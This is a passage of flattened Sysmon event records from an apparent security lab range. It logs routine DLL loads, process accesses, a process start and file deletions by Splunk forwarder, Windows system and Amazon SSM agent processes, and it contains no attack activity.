Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000052527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000052526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000052525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000052524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000052523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000052522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000052521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000052520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000052519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000052518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000052517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000052516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000052514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000052512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000052511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exeMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165trueSplunk, Inc.Valid 10341000x800000000000000052509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000052504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000052503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016865Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:17.148{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-047MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016867Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:18.475{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD5C494DDC262F613D4A11CB1EC6DA2B,SHA256=B9FA202F95898B461BC6E3D760CBEFDD6BD204838800F0562B006C291E788BB7,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000052663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.903{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000052662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.902{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000052661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.901{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000052660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.640{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4AF0C2E01214D6B6A607BA010269CC7F,SHA256=1C8AB4C920DC8BFD4266FAF072AD3E48D501EAEC0727F0D18B6FB36EF5DE3C6C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000052659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.624{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000052658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.624{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000052657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.624{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000052656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.624{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000052655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.624{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000052654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.624{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000052653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.624{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000052652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.624{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000052651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000052650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft 